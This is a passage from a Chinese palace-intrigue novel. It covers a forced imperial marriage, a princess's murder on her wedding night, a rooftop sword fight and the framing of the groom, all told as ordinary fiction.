萧沃睁开眼,昂首看向远处的宫阙,终于笑了出来。
他们来到皇宫、登上了金銮殿。
皇帝眼含笑意,这是萧沃第一次从他眼中看出骄傲的神情。
景思安将力剌可汗的投降书呈给汪琢,再由汪琢呈给皇帝。皇帝展开投降书,仰天而笑。
那笑声落进萧沃耳朵里,瘆得慌。他低着头,不像是个打胜仗的将军,倒像是个失落的输家。
萧回侧眸盯着萧沃,眼底翻涌着澎湃的恨意。萧沃察觉到他的目光,抬眸与他对视。萧回嘴角抽动,萧沃却像看小孩子似的,笑了出来。萧回别开了目光,萧沃看见他咬紧了后槽牙。
“不愧吾儿,不愧吾儿!”皇帝畅快地舒了口气,两指头把投降书弹出个响儿,兴奋道,“明日,朕就要开宗庙,把这个大喜事,告诉给列祖列宗!”
群臣闻声齐刷刷地跪下,高呼:“太子殿下威武!太子殿下威武!”
皇帝抬起鹰眼扫视一圈臣子,微微挑眉,似乎是感觉这声音有些刺耳。
萧沃匆匆跪下,待群臣呼声散去,道:“臣惶恐。”
皇帝大袖一挥:“说吧,你想要什么赏赐,朕都答应你。”
萧沃答:“臣尽储君之责,不敢讨赏。”
“啊……”皇帝舒了口气,“你已为储君,朕确实没有能再给你的了。栖云——”
景思安磕头,惶恐道:“臣、臣在。”
皇帝走下台阶,问:“你今年也有……十九了吧?”
“臣、臣确有十九了。”景思安频频看向萧沃,皇帝突然问他的年龄作甚?难不成,是要给自己赐婚?
“少年有成,也未婚配。”皇帝停在景思安面前,俯视他,“依朕看,京城中一般的贵女,都配不上你!”
景思安声音都开始抖了:“陛下,臣……”
皇帝打断他:“朕的昌宁今年二十有二,与栖云甚是相配。朕想给你们二人赐婚,促成一段金玉良缘。”
皇帝要景思安做驸马,可依本朝律法,驸马不可掌兵权,不可任实职,甚至不可擅自离京。皇帝这一招,不光是给景思安的赏,还是给景家的罚,更是是收回辽北兵权的最后一步。
一旦景思安成为驸马,辽北的一切,将与景家再无关联。
萧沃挡在景思安的面前,劝道:“陛下,栖云是难得的将才。”言外之意,您得让他出去打仗,不能把他囚在公主府这种金鸟笼里。
皇帝反而说:“如此人中龙凤,配朕的昌宁——岂不是正合适?”
景思安说:“陛下!臣,臣……”
萧沃急忙拉了一下他的衣角,示意他不要乱说话,转而劝皇帝:“陛下,昌宁与栖云并不熟识,您要赐婚,也得问问昌宁的意见呀。”
此时萧回站出来,说:“父皇,少时妹妹便与儿臣夸赞过景世子,说他风姿卓越一表人才,而今又立下赫赫战功,想来妹妹对景世子……父皇,您就成了妹妹的心意吧。”
“萧泊舟!”萧沃压低了声音,但撞上皇帝审视的目光,硬生生把后面的话咽了下去。
“既然昌宁有意,”皇帝别开目光,说,“朕就为她做这个主!汪琢——拟旨!”
萧沃不死心,还劝道:“陛下三思!”
“太子,”皇帝斜睨萧沃,“你妹妹能有个好归宿,景家与皇家亲上加亲,你还有什么不满足?”
萧沃才明白,皇帝让景思安去辽北,就是为了今天。
他若死了,景家就断了根脉;他若没死、顺利回朝,刚好给了皇帝理由迎娶公主——左右景思安都没有出路。
皇帝心意已决,无论萧沃如何挣扎,都是白费力气。
他不再说话了。
—
“你们怎么能随意决定我的未来!”
屹王府内,萧锦的哭声很清晰。
萧回捂住了惠儿的耳朵,带着他离开了前厅。乳母上来接惠儿,可惠儿不撒手。
惠儿摇萧回的手:“我想跟父王玩。”
“惠儿,小姑母难过了,父王去哄哄她。”萧回蹲在惠儿的面前,说,“让乳母带你去找先生温习昨天的功课,如果父王没去找你,你就再把今天的功课做了。”
惠儿不大愿意,嘟起小嘴也不点头。
“这样,你把功课做完,父王带你去跑马。”萧回捏捏惠儿的小脸,“等等父王,好吗?”
惠儿不情不愿地说:“好。”
“乖宝。”萧回亲了亲他的额头,“跟乳母走。”
萧回目送惠儿离开,才返回前厅。一开门,一个大花瓶朝自己砸了过来,他反应快,刚好躲过去了。
“哎呦,砸到人怎么办?”赵照跑到萧回面前,“伤到没?”
“我没事,”萧回看向萧锦。
萧锦指着萧回的鼻子,上来骂道:“你们夫妻二人,合起伙来坑害我!”
赵照把萧回挡在自己身后:“锦妹,我们这也是为你好!”
“少放屁!”萧锦指这赵照的鼻子,又指她身后的萧回,“三年前,你非要把我嫁去力剌和亲。和亲啊!蛮子都是吃人不吐骨头的,你偏偏要我去!”
萧回盯着地面。
赵照却说:“锦妹,你现在倒旧账就不合适了吧?”
“你要拿我跟力剌人做交易,好在父皇面前讨赏,对不对?”萧锦步步逼近萧回,“没想到吧,大哥会为我而出战,他不像你,拿手足亲人的血肉,铸自己的光荣!”
赵照上来劝萧锦:“锦妹,你这样说,岂不是寒了你二哥的心吗?”
“谁寒谁的心?”萧锦反问赵照,“要我嫁给景思安的馊主意,也是你出给二哥的吧?”
赵照也不找借口:“景家得有咱自己的人。只要景思安做了驸马,他景家世世代代就到此为止了,老大还有什么助力?”
萧锦甩了赵照一巴掌。
萧回听见这声音,也是纹丝不动。
赵照也没想到萧锦会打她,讶异道:“你怎么——”
“我打的就是你。”萧锦愤懑道,“从和亲,到现在,你拿我当人吗?一堆堆的馊主意往二哥耳朵里灌,夫妻俩盘算的都是怎么争权夺势!”
赵照抬高了声音说:“我还不是为了我们!”
“少放屁,”萧锦揪住她的衣襟,把她拉到了自己面前,“从始至终,二哥都没想过要当皇帝。是你赵照,非要做什么皇后,一点点地把他往前推!”
萧回说:“萧锦,放开她。”
“滚!”萧锦甩开她,指着萧回的鼻子说,“有能耐,你就别躲自己女人身后!你跟我说,你不想往上走,敢情都是骗我的!你想往上爬,都想昏了头!”
萧回抬眸看向萧锦:“你来我府上闹,到底想要什么?”
“我不想嫁给景思安。”萧锦说,“我不想毁了他们。”
萧回答:“但我们没有退路了。”
赵照也说:“你怎样闹都没用,锦妹,真正想要你嫁给景思安的是父皇,我们不过是猜到了父皇想做的事而已。”
萧锦失望地闭上眼:“我恨你们。”
“嫁给景思安不是挺好的吗?”萧回盯着她,“能跟你喜欢的人做一家人了。你能天天看见他,能天天幻想做他的女人。”
萧锦大步冲上来,刚要抬起手抽萧回,看到他阴郁的笑容,又收回了手。
萧回对她说:“你不愧是母亲的孩子。”
萧锦咬牙道:“你还有脸提母亲。”
萧回说:“歇斯底里的样子跟她一模一样。”
“你得嫁给景思安,”赵照看向萧锦,“为了我们所有人。”
萧锦问:“那又有谁会为了我而着想?”
“你也不想母亲死的毫无意义吧?”萧回冷声说,“萧锦。”
萧锦低声说:“收手吧,萧回,大哥会留下我们的命。”
“来不及了。”萧回说,“晚了。”
萧锦抓住他的手:“你为什么不跟大哥认个错?这事能揭过去。”
“他已经拿到了力剌可汗的名单。”萧回说,“一旦他把名单交给父皇,我们都得死。”
萧锦怔然:“萧回……你通敌?”
萧回盯着她,不说话。
萧锦的汗浸透了后背,她指着萧回的鼻子:“我要去揭发你。”
赵照盯着萧锦,目光中的寒意冻得人直打哆嗦。
“好啊,你去。”萧回嗤笑,“拿着你手里的证据,顺便把自己也揭发了,看父皇会不会放过你。”
萧锦的声音颤抖:“我要去揭发你……你变了,萧回,过火了。”
萧回垂眸:“我别无他法,我不争,就得死。”
“何至于此?”萧锦抓住萧回的衣袖,“我们去求求大哥,求他放过我们,大哥会的。”
萧回摇头:“你太天真了。”
萧锦哽咽道:“那怎么办……二哥,我不想看着你……把自己的命送进去。”
“如果你帮我,”萧回说,“我们就会赢,我们都不会死。”
萧锦:“我怎么帮你?”
“把你手里的东西都给我,”萧回说,“我得毁了它。”
萧锦问:“给你,然后让你去毁了大哥吗?”
萧回:“明知故问。”
萧
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锦失望地低头:“让我再想想。”
“别忘了我们才是一家人。”萧回说。
—
磬音楼内,萧沃亲自为对面的萧锦斟酒:“如果你不想嫁给景思安,我可以陪你去找父皇收回成命。”
“婚期定在了腊月二十三,小年夜,是个好日子。”萧锦凝视清冽的酒,迟迟没有端起来,她向屋外看去。
只听楼外戏台唱:“姻缘诧,姻缘诧,阴人梦黄泉下①……”
“是《圆驾》,最后一出了。我还记得那天来这里找大哥,赛珠秀唱的还是《游园》。”萧锦笑起来,圆润的小脸映着烛光,她端起酒杯,感慨道,“一眨眼都三年过去了。大哥得胜归来,还请臣妹来磬音楼听戏吃酒,放在过去,臣妹想都不敢想。”
萧沃盯着她的手,上面还带着齿痕。
“过不了一个月,臣妹就要嫁去靖国公府了。”萧锦抿了一口酒,她竟觉得苦,却舍不得把酒盏放下,双手抱在了怀里,“大哥为何愁眉苦脸?”
萧沃收回目光,不说话。
“臣妹知道,大哥不希望臣妹嫁给景世子。臣妹与他并无交集,和谈感情?”萧锦看着桌上的绢花,“大哥是这世上,唯一真心待我好的人。为了我戍边……”
“并非为了你。”萧沃打断她。
萧锦竟都不会失望了,依旧笑着:“又为了我,劝父皇收回赐婚旨意……”
“这更不是为了你。”萧沃说。
“是,你戍边是为了江山,你拒绝赐婚是为了你表弟。”萧锦看着他,“道理我都明白,我就想骗骗自己,也不行吗?”
萧沃面露苦色:“算了。”
“如果没有大哥,估计我……早就被力剌人折磨得不成样子了。”萧锦眸中流出悲戚,“而与我一奶同胞的二哥,却从来不在乎我的死活。大哥,你如何能让我不在乎你呢?”
萧沃只觉得悲哀,忍不住叹息。
萧锦说:“其实从小到大,母后在乎的只有二哥。这在乎中,又有几分真情?说白了,还是为了权。无论二哥做什么,母后都不会有一个笑脸。我害怕母后像对待他那样对我,于是我拼命讨好母后。或许是为了刺激二哥,母后总在他受罚的时候疼我。二哥跟我说过,恨不得我去死。”
萧沃给自己斟酒,一饮而尽。
萧锦:“我羡慕大哥,有孝仁皇后那样好的母亲,有靖国公一家那样好的亲人。你随便给我一点好,我都能记一辈子。你之前问过我,‘为什么’,我现在就告诉你。”
萧沃注视她的眼睛,求道:“别说了。”
“我心里有你,我心里……只有你。”萧锦舒了口气。
萧沃绝望地抱住了脑袋。
萧沃把苦酒都喝干了,缓了很久才说:“烧嗓子……苦。”
萧沃只觉得她很可怜:“我们是兄妹,我们有同一个父亲。”
“我不在乎。”萧锦说。
“无论换成谁去和亲,那日我都会这么做。”萧沃哽咽道,“萧锦,我对每个人很好,并非只对你一个人。”
“我不在乎。”萧锦说。
萧沃绝望地说:“你疯了。”
萧锦试图去握萧沃的手,却被他甩开了,她望着自己悬在半空的手,说:“我知道,大哥今天找我来,是想让我劝父皇收回成命。我可以答应你,但你也要答应我。”
萧沃问:“答应你什么?”
萧锦说:“就算一辈子见不得光也没关系,就算没了这公主的名号也没关系,只要能陪在大哥身边,我怎样都愿意。”
萧沃难以置信:“你疯了?”
萧锦摇头,说:“我可以帮大哥杀了二哥,我甚至可以为大哥杀了父皇……”
萧沃吓得跳起来,接连后退,萧锦马上就跟了上来。
萧沃大叫:“你疯了!”
“我没疯!”萧锦将萧沃逼到墙角,跪在萧沃面前,抓住了他的手,强迫他触碰自己的胸膛,恳求道,“你看看我的心,真心……”
萧沃连忙道:“松手,松手!”
萧锦:“答应我,好吗?”
萧沃想挣开她,可她就跟着了魔一样力气倍大:“我答应你什么啊!放手!”
“求你了。”萧锦嗫嚅道,“哥……”
萧沃颤抖得摇头:“不可能。”
萧锦抱住了他,又求道:“求你了,求你疼疼我,就像小时候那样,求你了……”
萧沃一把推开了她,把她甩得很远。他贴着墙面站起来,只觉得脊背恶寒。
萧锦伏在地上,闷闷地哭。
“你不答应我……”萧锦回望他,“就因为我是你妹妹吗?”
“你找个太医看看吧!”萧沃揩一把汗,“不,得找个巫师!”
萧锦嗤笑,用手背擦去眼泪,说:“我可以不是你妹妹,何况……我们本来也不是兄妹。”
萧沃感觉听到了什么不得了的东西:“你胡言乱语什么呢?”
萧锦踉踉跄跄地站起来,笑着说:“我本来就不是公主,你只要疼疼我,只一天、一刻都好,我手里的东西足够让父皇废了我。”
萧沃藏进了墙角,只觉头疼欲裂。
萧锦步步逼近他:“你不好奇我手里有什么吗?”
萧沃摇头。
萧锦失落地问:“我没骗你,真的……不吗?”
萧沃一个劲地摇头。
“那好,小年夜,来喝我的喜酒吧。”萧锦叹了口气,“我愿意嫁给景世子,他长得那么像你……”
59. 婚礼
小年夜,公主府中,四处张灯结彩。
景思安与萧锦同坐在婚床边,喜烛高燃,不断留下红色的泪。外面的宴席还没散,能听见宾客的嬉笑声。而屋内鸦雀无声,肃穆得不像是婚礼,倒像是葬礼。
“驸马不去与哥哥们喝酒吗?”萧锦主动与景思安说话。
景思安咽了口唾沫,说:“臣喝不了酒,容易醉,会失态。”
萧锦望向对面墙上巨大的“囍”字,问:“是酒让你醉,还是娶我让你心烦?”
景思安感觉“囍”字流了血,嗫嚅道:“臣不敢。”
萧锦说:“你不愿意娶我,我也不愿意嫁给你。”
景思安皱紧了眉头,答:“若无陛下赐婚,殿下也不会下嫁景家。”
“你的确配不上我。”萧锦失望地说,“我喜欢的人,不会像你这样畏畏缩缩。”
“既然殿下心有所属,臣可以睁一只眼闭一只眼,”景思安站起身,走到桌边,拿起自己那杯合卺酒,顿了片刻后,又把酒放下,说,“但我靖国公府也要面子——臣只希望殿下不要弄得太难看。”
萧锦问:“就像太子殿下和太子妃吗?”
景思安顿时像被烫到似的回头看她:“殿下,慎言!”
萧锦粲然一笑:“世子,你怕什么?怕我把你们家的丑事说出去吗?”
“无中生有!”景思安捏紧了红绸桌布,“我、我没什么好怕的。”
“是吗?”萧锦饶有兴致地端详他,“那你为什么在抖?世子,你不会撒谎吧?一撒谎,眼神就飘忽不定。你不知道吗?——撒谎的时候要看着对方,死死地看着对方,那样,假话也能说成真话。”
景思安接连后退:“你到底想干什么?”
“我也不知道我想干什么,”萧锦站起来,头顶的凤冠轻轻摇晃,她眸中闪烁着疯狂的光芒,“但看你害怕,我就兴奋,就畅快!”
“刺啦”一声,萧锦拔出墙边的剑,剑锋对准了景思安。
景思安大惊失色,压着嗓子说:“你要干什么?”
萧锦:“你听,外面还有声音吗?”
景思安屏气凝神,除了寂寞的北风声,果然什么都听不到了。他的脸色顿时变得苍白如纸,这宴席有问题。
“公主府的饭菜,我都过了一遍手。”萧锦提剑逼近景思安,“你猜,我往里面加了什么?”
景思安吓得想往外跑,可身子顿时没了力气,他软趴趴地栽倒在地。他想起来自己刚吃了宴席上的饭菜:“你往里面放了什么?!”
“蒙汗药而已。”萧锦蹲在景思安身边,剑架在他脖子上,“不然,我杀不了你呀。”
景思安感觉越来越没力气,他甚至抬不起一根指头,他求道:“公主殿下,我们无冤无仇!”
“我知道。”萧锦点头,“所以我不会让你死得很痛苦。闭眼,快,闭眼睛,睡着了,就什么都不知道了。”
景思安恐惧道:“不要,不要!”
萧锦伸出另一只手,为他合上了眼睛。景思安没挣扎多久,就不动弹了。
萧锦瘫倒在他身边,这些药,足够景思安睡一个时辰了。她转头看向门外那个黑影,无力道:“他睡了,你进来吧。”
门打开,一段黑影逐渐溜进她房中,之后那黑影悄悄地将门关上。
萧锦:“你确定没人看见你吗?”
“席上的人都趴下了。”
萧锦:“好。”
“东西呢?”
“给你,你就会留我的命吗?”萧锦颤颤巍巍地站起来,抬眸盯着他,“会吗?”
“……会。”他说。
“你总是这样,撒谎的时候,脸不红心不跳,说什么都跟真的一样。”萧锦抬起手,抓住他的衣襟,扯下他的面罩,讽刺道,“萧回,你以为我会信吗?”
萧回冷眼瞧她:“你可是我妹妹啊。”
萧锦摇头:“我不是。”
“把东西给我,我得毁了它。”萧回捧起萧锦的脸,“没了陈昀,没了赵鹤,你只剩我了。留着那东西干嘛?是提醒你,别忘了自己的身份,还是提醒我,有人捏着我的把柄?”
“别一错再错了。”萧锦说,“二哥。”
“什么是错?我无路可走。”萧回的手往下滑,叹息道,“我们的好父皇、好大哥,他们要逼死我。我退,能退哪去?如今你也要逼死我,我没办法,我只能自保。”
萧锦:“一定要争皇位吗?”
萧回:“东西给我。”
萧锦:“不能退吗?”
萧回:“东西给我!”
萧锦:“我不!”
“那你去死吧。”萧回扼住她的喉咙。
“砰”地一声,有人踹开了房门。一道银光裹挟着寒气刺向萧回,他撇开萧锦,向右侧撤去。
门边出现一段干脆利落的身影,月光将她的影子拉得颀长,风拂过她鬓角的柔软碎发。萧锦难以置信地看着她,害怕得退到了景思安身后。
萧回顺势捡起地上的剑,抬眸看清了来者模样,牙都快咬碎了:“……你没死啊?”
兰见春扭转手上的梅隐刀,刀身折射月光,恰好扫过萧回的脸。她讽刺地笑了出来,立马提刀杀向萧回。
萧回向窗口奔去,顿感颈后一股巨大拉力,直接把他拉回了屋中。萧回反手握剑,头向身侧一偏,抡剑往兰见春脖颈上刺。
她身体向后仰,同时抬起腿踹萧回的裆,躲过了这一击。萧回感觉下半身疼得要炸了,他节节败退。
“你也算人?”萧回重重地喘||气,他疼得眼白都红了,愤怒不已,提剑朝兰见春杀来。
萧回大跨步杀向兰见春,右手挥剑,一招一式都对准兰见春致命部位。他的剑法大开大合,是战场上用以御敌的招数。兰见春刚才那一下惹火了萧回,他拼了十二分的力气,势必要杀了兰见春。
“愣着干嘛!”萧回吼于墙角瑟缩的萧锦,“杀了她!”
萧锦慌张得凤冠都掉了,她拔下了一根簪子,慌里慌张地对准了兰见春的后背。
萧回奋力跳起,双手握剑往下砸,兰见春横刀格挡,可萧回力气太大了,逼得她直往后退。
兰见春余光看见萧锦的簪子对准了自己,她连忙用脚后跟杵地面,奋力拧了个方向,把萧回甩了出去。
“为何不刺!”萧回吼萧锦,“为何不刺?!”
萧锦吓得簪子掉在了地上。
兰见春正面对着萧回、萧锦,快速往院中撤。萧回今天放不过她,提剑又冲了出来。
院中,刀与剑擦出红色火花,匆忙脚步溅起千堆雪。
萧回提剑直劈兰见春面
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门,兰见春矮身,借青砖上的薄雪滑向另一侧,手中梅隐恰好贴着剑锋擦过,刹那间,火花四溅。
萧回调转方向,长剑顺势往侧面砸,又是“铛”的一声响,两人同时滑开半步。
萧回扭扭脖子,挥剑又来杀,直取兰见春咽喉。兰见春没选择正面迎击,而是选择绕后,伺机背刺。
兰见春动作太快,萧回根本找不到她的位置。他久攻不下,万分焦躁,猛地转身,手中剑借力横扫半圈,斩向兰见春腰际。
兰见春足尖点地,向后滑去,萧回顿时抢步上前,举剑往下劈!
兰见春蹙眉,向左边滑过去,右手则提刀刺萧回的后心口!就在她的刀要剜进萧回的心窝时,从天飞下一支短箭,打偏了兰见春的刀。
梅隐差点脱手,她惊觉抬头,一段黑影飘下房顶,提起萧回的衣领往公主府的后门方向去。那人用黑布蒙面,但兰见春看清了那人的眼睛——眼尾有一颗小痣。
兰见春马上跟了上去,双方一路杀到了公主府边缘。但是,萧回与那人配合极好,兰见春实在招架不住他们两个人的攻击。
直到最后,那黑影挥刀劈她的手腕,萧回攻她的后心,她躲闪不及,肩膀中了一刀,摔下房顶。
她感觉肩膀都碎成末了,血很快就晕脏了衣衫。她来不及疼,又一路跟了出去。
可惜就差刚才那一点,兰见春再也追不上他们。不止何时,脚下的屋顶从瓦片变成了琉璃瓦,墙也越来越高,兰见春眺望远方,发现萧回去的正是皇宫!
——坏了!
兰见春及时调转方向,原路返回。她跑了许久才返回公主府,一手拉着屋檐,借势就滑进了寝殿。
一股浓重的血腥气扑面而来,她顺着气味看过去,顿时吓得汗流浃背。
萧锦躺在床上,而她的胸口插了一把长剑!
血顺着她的嫁衣流满了婚床,红绸被血染成了黑色,金丝绣成的凤凰映射着烛光,在昏暗的房间中闪烁发亮。
兰见春眼珠子快蹦出来了,她小心翼翼地靠近萧锦,用梅隐挑开床帘,本以为会看见狰狞的面容,结果萧锦的神情无比平静,好像是睡着了一样。
这模样,倒像是自杀!
兰见春终于明白,萧回为何往皇宫逃,他那是去告发景思安!
兰见春回过头,景思安的药效还没过去,趁现在,得把景思安带走。
外面火光闪烁,兵甲摩擦的声音越来越大,他们正在向这里靠近,留给兰见春的时间不多了!
有一个熟悉的声音大喊道:“逆贼景思安谋害公主,抓!”
是连云栈。
兰见春单手插进景思安的腋下,她想把他拽起来,可自己肩膀刚受了重伤,景思安身材又太魁梧,身子重得跟泰山似的,根本拉不动!
“快!这边!”
火光越来越近,晦朔司的人摸到了这里。兰见春体力越来越不支,肩膀上的伤口越扯越大,血一滴滴地落在地毯上。
她扯一节衣服塞嘴里咬着,铆足了劲抬人,景思安终于动了半寸。
“铛——铛——”
踹门的声音越来越大,再不走,恐怕自己也逃不掉了。
她频频抬头看门外,连云栈的身影依稀可见,她没得办法,只好放下景思安,捂住肩膀伤口,藏进了婚床之下。
60. 思娴
兰见春藏在床下,透过两扎宽的缝隙观察外面:一双脚踱进了屋子,半步、半步地往里挪,随后,是黛蓝色的衣摆。
兰见春双手扶着床板,用脚后跟抵着地面,竭力把自己大部分身体抬起来,贴着床板往里挪。
突然,一个冰冷的物件顶上她的太阳穴,尚有余温的黏腻液体滑到她腮边,顺着耳根跑进了头发里。
兰见春向侧面看去,那把刺穿萧锦的剑,透过床板的部分足足有两寸长。
这是自杀吗?这能是自杀吗?她萧锦就算是力拔山兮气盖世,也不可能在刺穿自己心脏之后,再把床捅成这样吧?!!
死得怪啊!
景思安眼皮阖动,听见了动静,猛然睁开了眼睛,恰好看见对面床底下有一双亮莹莹的琥珀。他愣了半瞬,随即抬头对上了连云栈鹰似的眼睛。
连云栈俯视他,还没等景思安反应过来,她便做了个“抓”的手势。
“你们要干什么?!”景思安连忙往身后撤,“为何抓我?!”
“罪臣景思安谋害公主,”连云栈微微侧身,让景思安好看清胸口被一柄长剑贯穿的萧锦。
“这……”景思安脸色惨白,他向婚床奔过来,连云栈一下就把他推了回去,“这不可能!我没杀人!我让她下了蒙汗药,我刚刚醒!我怎么会杀人?我昏过去了,我如何杀得了人!”
“有什么话,你还是跟陛下说去吧。”连云栈看他一眼都嫌烦,“带走!”
景思安奋力挣扎:“我乃朝廷命官,靖国公世子!你们要抓我,可有陛下诏书?!”
“晦朔司抓人何需诏书?”连云栈讥笑道,“世子怕不是在边疆待久了,忘了咱上京城的规矩?带走!”
“不是我杀的人,你们抓错人了,我什么都没做,”景思安咬着牙说,他看向床底下的兰见春,似有所言,“不是我……”
兰见春把头扭向另一面,紧抿嘴唇,不敢发出一定点声音。
连云栈看向身后,目光锁定黑洞洞的床底下。她抬起手,示意所有人不要出声,抬起脚、脚跟坐落地,毛茸茸的地毯吞没了脚步声。
兰见春吓得微微发抖,默默祈祷她不要发现自己。
她听见了,有一只手搭上了婚床,随后是衣摆落在地上的声音,人的呼吸声越来越近、越来越低……
不要,不要……
“连司丞。”
兰见春被惊醒,连云栈、景思安猛地看向门口。
“太子殿下……”连云栈仍保持着弯腰的姿势,她还没来得及查看床底。
“殿下!”景思安扭动身体,试图挣开束缚,“殿下救我!”
萧沃目光扫过景思安、连云栈以及一众晦院的女官,目光最终落在床上的萧锦的尸体。他别开了目光,眼眶顿感沉重、酸涩。
连云栈起身,说:“景思安谋害公主,臣等奉旨将其缉拿归案。”
“本宫记得,昔日乔司丞在世,‘奉旨’捉拿朝廷命官时,也是要带文书的。”萧沃说,“没想到这才过了三年,晦朔司就可以直接闯进公主府抓驸马了。”
连云栈危险地眯起眼睛。
萧沃伸出手:“既然是陛下旨意,还请连司丞出具诏书。”
连云栈眼珠子快速转动。
“没有?”萧沃把手背到身后。
连云栈沉默。
“既然没有……”萧沃迈进婚房内,“那是谁给你的胆子抓捕朝廷命官?”
连云栈愤懑地垂着眼,不敢回怼一句。
萧沃骤然抬高了声音:“回答本宫!”
连云栈动都不动。
“晦朔司,是陛下的晦朔司,”萧沃围着连云栈,忽然俯身逼近她,“还是你连云栈的晦朔司?”
连云栈连忙跪下:“臣不敢!”
“不敢?”萧沃斜睨她,“上一个假传圣旨的人是何下场,连司丞,你比任何人都清楚。”
他说的是废后陈昀。
连云栈不甘心地咬后槽牙。
“公主府的宴席有问题,席上所有人皆倒地不醒。”萧沃转到连云栈的身后,他看向正对面的景思安。
从景思安的视角看去,萧沃恰好挡住了床底下的人。他当即就明白,她是萧沃的人,景思安失望地垂下眼。
“待本宫醒来,晦朔司的人就闯进了公主府,指控驸马杀害公主。”萧沃说,“本宫记得,驸马也吃了宴席上的饭菜,按理说,他应如我们一样倒地不醒。”
“殿下说的没错!”景思安说,“臣确实昏了过,臣一醒来,公主殿下就……臣什么都不知道,晦朔司却要来抓臣!”
“晦朔司如何得知景思安杀了昌宁?”萧沃说,“连司丞,回答本宫。”
连云栈答:“屹王殿下向陛下告发驸马,臣仅是听命行事。”
“屹王?”萧沃说,“从公主府到皇宫,骑马也需两刻,而从晦朔司到公主府,却需要三刻。从老二离开、到他跟陛下陈情,再到你带人来到公主府抓人,少说也需要大半个时辰。而从本宫昏睡到现在,才过了不到半个时辰。”
连云栈额头渗出细密的汗珠。
“你来得太早了,连云栈。”萧沃沉声说。
连云栈焦急地看向院门口。
“昌宁尸骨未寒,本宫不想闹得太难看。”萧沃说,“还请连司丞给本宫一个交代。”
连云栈只望着门口。
萧沃再抬高声音:“回答本宫!”
连云栈冷汗浸透后背。
“那别怪本宫。”萧沃抽出身边的女官的佩刀,架在连云栈的脖颈上,“你假传圣旨,无故抓捕朝廷命官,当杀。”
“圣旨到!”汪琢身后跟着一众金吾卫,匆匆走进院中。
萧沃讶异地看向连云栈,赶忙放下了刀。
一屋子的人纷纷跪下,汪琢站在门外,看看景思安,又看看萧沃,展开圣旨,念道:“景思安设计谋害昌宁公主,即刻缉拿归案,听候发落!”
“臣没有!”一伙女官冲上来,压住了景思安。他像一条搁浅的鱼,不断挣扎,还冲萧沃呼喊,“太子殿下!表哥!”
萧沃憎恶地盯着那道圣旨。
“表哥!”景思安被女官们拉起来。
“走。”萧沃从牙缝中蹦出字来。
景思安哀求道:“哥……我没有……”
萧沃咬牙切齿地说:“走!”
“哥!”景思安被晦朔司带走,他被搡出屋子,直到看不见萧沃。
天边炸开烟花,绚烂的光芒映亮流满血的公主府。光跌进萧沃的眼中,点燃了他胸中的野火。
—
太子寝殿大门紧闭,门外是密密麻麻的晦院女官,门内则是景思娴、兰见春。
萧沃端坐在门前,左手搭在扶手上,右手握着血罗衣的剑柄。与连云栈隔着十丈远,他合上眼眸,屏气凝神,冷静得像一尊雕像。
殿内,兰见春光裸着上半身,嘴里咬一块布,担忧地皱紧眉头。她身后的景思娴一手持烈酒,一手抓着棉纱布。
“忍着点。”景思娴小声说,“我要倒酒了。”
兰见春点头,两颗虎牙嵌进布团子中。
景思娴将酒倒在她肩膀的伤口上,兰见春猛地一缩。酒渗进肉里,那感觉,比让人捅了一刀、摔得粉身碎骨还疼。兰见春像一只蜕皮的蛇似的扭动,她咬紧了布团,疼得眼泪直流,却不敢发出一点声音。
烈酒把她伤口中的脏东西都逼了出来,黄得发绿的脓裹着黑血块流出来,景思娴用棉纱把脏东西都擦干净。她动作很轻,怕再弄疼了她。
兰见春直倒冷气。
“再忍忍。”景思娴贴着她耳根说。她用镊子拨开兰见春的伤口,快速地把伤口中的小石头、碎瓦片夹了出来。
兰见春急促地呼吸着,她那从左胸一直蔓延到后心的大片连翘花纹身随每一声呼吸一起一伏,像是随风飘动。景思娴捏着针,小拇指抵在一朵连翘花上,轻车熟路地帮她缝合伤口。
“连翘花很漂亮,”景思娴气声说,“刚好盖住了伤疤。”
兰见春不说话,好像是疼昏了过去。
“别睡。”景思娴焦急地看门外,萧沃的身影在窗上若隐若现,她摁摁兰见春没伤的另一边肩膀,“……别睡。”
兰见春望着面前水墨色的床帏,肩膀上的疼让她昏昏欲睡。她强
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打精神,可眼皮不听使唤,灌了铅似的往下坠。
不知何时,眼前水墨色的床帏变为了一团灰色的雾。耳畔的呼吸声越来越清晰,脸上都刀子划过。
兰见春睁开眼,看见白兮兮的地面,还有黑黝黝的松林。父亲让白色的狗皮大衣裹得像只熊,艰难地把腿拽出积雪,蓝得发灰的眼睛扫视山中。
“白虎最会伪装,它的皮毛与山里的雪地没区别,还会用爪子抱住嘴筒子,”父亲的声音在兰见春耳边响起,“但白虎的眼睛是琥珀色,那是它藏不住的东西。”
她抱着弓使劲点头,耳朵却竖起来听林中异响。兰见春自小听力异于常人,能听见藏在风中的异动。乡邻们都说。这是因为她是从老虎窝里捡回来的孩子,早就变得跟老虎一样了。
这对父女顺着山路深入萃神山,一路上,北风怒吼,雪纷纷而来下,模糊了视线。兰见春小心翼翼地往前走,忽然,她听见两声“擦擦”声,像畜生的脚步。
兰见春驻足,回首往后看,身后却是黑洞洞一片。
她跟着父亲往前,却心有余悸地向后看,一步三回头。那脚步声又消失了,她心里发毛,停了下来。
突然,余光瞥见左侧角落里一双琥珀色的光点。说时迟那时快,她的箭离弦时,白虎从天跃下,冲她张开了血盆大口。
兰见春向右翻滚,再次冲天射出箭。骤然,左侧肩膀吃痛,千斤压在了自己肩头。她向下跪,另一手则从腰间抽出刀,刺向了白虎的脖子。
血喷了她一脸。
“醒醒!醒醒!”
一双温热、柔软的手攥住了她的手,将她从死亡的涡旋中拉了出来。
“兰夫人!”景思娴柔声呼唤她。
兰见春睁开眼,对上景思娴漂亮的眼睛。汗顺着她的头发丝往下滴,景思娴伸出双手,为她揩去汗与泪。
景思娴抱住了她,她贴着她柔软的胸膛,许久才从回忆中抽离。
兰见春闭上了眼睛,似乎闻见了家乡的连翘花香。
“娘娘……”兰见春呢喃道,“不能走。”
“伤,就快好了。”景思娴说。景思娴为她穿好衣裳,凑近了观察她的眉眼。
兰见春一直气声说:“别,别……”
“你的眼睛真漂亮。”景思娴伸手抚摸她的眉头,“眉毛弯弯,像山峦。”
兰见春抓住她:“我可以作证,不是世子害的公主。”
“我知道,陛下肯定也知道。”景思娴说,“但我现在没别的办法,陛下铁了心要靖国公府亡。”
兰见春说:“我愿意出庭作证。”
景思娴使劲摇头,诚挚地说:“你好不容易才活下来,不该为了我们再次陷入危险。陛下忌惮景家,这次绝对不会放过我们。他不会在乎真相如何,我们不能白费力气。”
兰见春哽咽道:“那怎么办?”
